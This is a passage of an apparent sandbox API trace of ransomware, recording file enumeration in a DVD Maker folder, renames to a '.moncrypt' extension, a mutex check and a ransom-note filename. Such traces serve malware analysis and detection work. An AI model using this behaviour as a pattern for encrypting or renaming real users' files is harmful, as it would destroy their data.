Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png", lpUsedDefaultChar=0x0) returned 77 [0058.095] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Performance\\Perf_Scenes_Mask1.png", lpUsedDefaultChar=0x0) returned 4 [0058.095] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700a0016, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700a0016, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Mask1.png", cAlternateFileName="")) returned 0x54e280 [0058.095] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.095] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.096] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.096] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png", dwFileAttributes=0x20) returned 0 [0058.096] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.096] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png.moncrypt")) returned 0 [0058.096] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Subpicture1.png", cAlternateFileName="")) returned 1 [0058.096] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.096] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.097] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.097] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.097] GlobalUnlock (hMem=0x44000c) returned 0 [0058.097] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.097] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.097] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.097] GlobalUnlock (hMem=0x44000c) returned 0 [0058.097] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.097] GlobalUnlock (hMem=0x440004) returned 0 [0058.097] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.097] CharLowerBuffW (in: lpsz="Perf_Scenes_Subpicture1.png", cchLength=0x1b | out: lpsz="perf_scenes_subpicture1.png") returned 0x1b [0058.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.098] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png", cchWideChar=83, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png", lpUsedDefaultChar=0x0) returned 83 [0058.098] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Performance\\Perf_Scenes_Subpicture1.png", lpUsedDefaultChar=0x0) returned 4 [0058.098] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Subpicture1.png", cAlternateFileName="")) returned 0x54e280 [0058.098] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.098] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.099] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.099] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png", dwFileAttributes=0x20) returned 0 [0058.099] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.099] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png.moncrypt")) returned 0 [0058.099] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0058.099] GlobalLock (hMem=0x440004) returned 0x550170 [0058.099] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.099] GlobalUnlock (hMem=0x440004) returned 0 [0058.100] GlobalLock (hMem=0x440004) returned 0x550170 [0058.100] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.100] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.100] GlobalUnlock (hMem=0x440004) returned 0 [0058.100] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.100] GlobalUnlock (hMem=0x44000c) returned 0 [0058.100] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x43cb54e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x43cb54e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0058.100] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0058.100] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.100] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.100] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.100] GlobalUnlock (hMem=0x44000c) returned 0 [0058.100] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.100] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.100] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.100] GlobalUnlock (hMem=0x44000c) returned 0 [0058.100] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.100] GlobalUnlock (hMem=0x440004) returned 0 [0058.100] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.100] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x43cb54e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x43cb54e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.100] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.100] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.101] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.101] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.101] GlobalUnlock (hMem=0x440004) returned 0 [0058.101] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.101] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.101] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.101] GlobalUnlock (hMem=0x440004) returned 0 [0058.101] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.101] GlobalUnlock (hMem=0x44000c) returned 0 [0058.101] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.101] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70562bb6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70562bb6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480blacksquare.png", cAlternateFileName="")) returned 1 [0058.101] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.101] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.101] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.101] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.101] GlobalUnlock (hMem=0x44000c) returned 0 [0058.101] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.101] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.101] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.101] GlobalUnlock (hMem=0x44000c) returned 0 [0058.101] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.101] GlobalUnlock (hMem=0x440004) returned 0 [0058.101] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.101] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703015e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703015e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1168, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0058.101] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.101] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.101] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.101] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.101] GlobalUnlock (hMem=0x440004) returned 0 [0058.102] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.102] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.102] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.102] GlobalUnlock (hMem=0x440004) returned 0 [0058.102] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.102] GlobalUnlock (hMem=0x44000c) returned 0 [0058.102] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.102] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dbda349, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc04, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIconSubpictur.png", cAlternateFileName="")) returned 1 [0058.102] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.102] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.102] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.102] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.102] GlobalUnlock (hMem=0x44000c) returned 0 [0058.102] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.102] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.102] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.102] GlobalUnlock (hMem=0x44000c) returned 0 [0058.102] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.102] GlobalUnlock (hMem=0x440004) returned 0 [0058.102] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.102] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70184844, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70184844, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc26605, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa942c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop.wmv", cAlternateFileName="")) returned 1 [0058.102] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.102] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.102] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.102] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.102] GlobalUnlock (hMem=0x440004) returned 0 [0058.102] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.103] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.103] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.103] GlobalUnlock (hMem=0x440004) returned 0 [0058.103] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.103] GlobalUnlock (hMem=0x44000c) returned 0 [0058.103] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.103] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7021cdb8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7021cdb8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc728c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbebec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0058.103] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.103] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.103] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.103] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.103] GlobalUnlock (hMem=0x44000c) returned 0 [0058.103] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.103] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.103] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.103] GlobalUnlock (hMem=0x44000c) returned 0 [0058.103] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.103] GlobalUnlock (hMem=0x440004) returned 0 [0058.103] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.103] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0058.103] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, 